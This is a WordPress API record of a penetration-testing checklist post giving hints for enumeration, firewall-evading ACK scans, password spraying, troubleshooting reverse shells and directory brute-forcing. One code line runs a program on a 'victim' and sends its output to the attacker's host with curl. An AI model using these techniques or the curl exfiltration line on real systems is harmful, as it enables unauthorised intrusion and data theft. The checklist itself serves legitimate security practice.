{"id":2847,"date":"2021-02-27T18:12:09","date_gmt":"2021-02-27T17:12:09","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=2847"},"modified":"2024-11-20T22:19:59","modified_gmt":"2024-11-20T21:19:59","slug":"if-then","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=2847","title":{"rendered":"If\u2026 then\u2026"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Enumeration<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>You can read arbi\u00adtrary&nbsp;files.&nbsp;<ul class=\"wp-block-list\">\n<li>Can you upload as well somehow?&nbsp;<ul class=\"wp-block-list\">\n<li>Via anoth\u00ader port&nbsp;maybe?<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Deter\u00admine inter\u00adest\u00ading files for the giv\u00aden technique<\/li>\n\n\n\n<li>Per\u00adform blind enu\u00admer\u00ada\u00adtion for the&nbsp;<span class=\"caps\">OS<\/span><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>You have a port, but  no clue what it&nbsp;does.<ul><li>Start Wire\u00adshark&nbsp;first<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Check the port num\u00adber in the&nbsp;web.<\/li>\n\n\n\n<li>Try a default <span class=\"caps\">HTTP<\/span> request.<\/li>\n\n\n\n<li>Add a very large&nbsp;input.<\/li>\n\n\n\n<li>Scan with \u2011sA <span class=\"caps\">ACK<\/span> scan to cir\u00adcum\u00advent  a pos\u00adsi\u00adble firewall.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>You have a password:&nbsp;<ul class=\"wp-block-list\">\n<li>Try <a href=\"https:\/\/andreas-klingler.de\/infosec\/?p=1923\" data-type=\"post\" data-id=\"1923\">Pass\u00adword spraying<\/a><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>You have an image&nbsp;file&nbsp;<ul class=\"wp-block-list\">\n<li>Check exif<\/li>\n\n\n\n<li>Check <a href=\"https:\/\/andreas-klingler.de\/infosec\/?p=1132\" data-type=\"post\" data-id=\"1132\">steghide<\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Code execution<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>You have a blind code exe\u00adcu\u00adtion which does\u00adn\u2019t always works?&nbsp;<ul class=\"wp-block-list\">\n<li>Try to deter\u00admine if there are some bad characters.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>You does\u00adn\u2019t get a reverse shell.&nbsp;<ul class=\"wp-block-list\">\n<li>Try anoth\u00ader port. Use a port which is open for inbound traffic.<\/li>\n\n\n\n<li>Are you using the cor\u00adrect architecture?<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>You exe\u00adcut\u00aded some\u00adthing on a serv\u00ader, which did\u00adn\u2019t worked, but you don\u2019t know&nbsp;why?&nbsp;<ul class=\"wp-block-list\">\n<li>Try to redi\u00adrect <span class=\"caps\">STDERR<\/span> and <span class=\"caps\">STDOUT<\/span>.<\/li>\n\n\n\n<li>Try to redi\u00adrect it and also print it to a local nc lis\u00adten\u00ader like this:<br><code>.\/wontworkonavictim &amp;&gt; \/tmp\/output; curl --data @\/tmp\/output http:\/\/$ownip:5555\/<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">I am&nbsp;stuck<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><span class=\"caps\">HTTP<\/span>\n<ul class=\"wp-block-list\">\n<li>Tried to search with\u00adin direc\u00adto\u00adries with gob\u00aduster and\/or with file suffixes?<\/li>\n\n\n\n<li>Oth\u00ader wordlists?<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Enu\u00admer\u00ada\u00adtion Code exe\u00adcu\u00adtion I am&nbsp;stuck<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[483],"tags":[],"class_list":["post-2847","post","type-post","status-publish","format-standard","hentry","category-howtos"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2847","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2847"}],"version-history":[{"count":11,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2847\/revisions"}],"predecessor-version":[{"id":4486,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2847\/revisions\/4486"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2847"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2847"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2847"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}